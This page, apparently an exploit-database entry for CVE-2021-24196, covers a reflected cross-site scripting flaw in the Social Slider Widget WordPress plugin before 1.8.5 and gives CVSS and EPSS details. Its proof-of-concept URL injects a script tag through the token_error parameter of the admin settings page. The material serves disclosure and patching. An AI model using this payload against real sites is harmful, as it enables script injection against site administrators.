Exploit for Social Slider Widget < 1.8.5 - Authenticated Reflected Cross-Site Scripting (XSS)

CVE-2021-24196

wpexploit · 2021-03-14

Description

Social Slider Widget < 1.8.5 Authenticated Reflected Cross-Site Scripting (XSS) exploi

Entry point

Parametertoken_error · query param

Path/wp-admin/admin.php?page=settings-wisw

Authenticated Reflected XSS in plugin settings page via token_error echoed without sanitization

Affected Cm-wp Social Slider Widget versions

Cm-wp Social Slider Widget< 1.8.5

All known vulnerabilities by product

Social Slider Widget

CVSS 3.5 for CVE-2021-24196

3.5

LOW SEVERITY

VectorAV:N/AC:M/Au:S/C:N/I:P/A:N

EPSS Score

0.7%higher than 47.4% of all CVEs

Updated 2026-06-16

References

https://purinechu.github.io/posts/social_slider_widget_reflected_xss/

Exploit Details

Modified:2021-03-20 16:47

Last Seen:2021-04-12 11:31

Reporter:purine chu

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:BB20D732-A5E4-4140-AB51-B2AA1A53DB12
/wp-admin/admin.php?page=settings-wisw&token_error=<script>alert(/XSS/);</script>

Exploit Code

Share

Share on social media: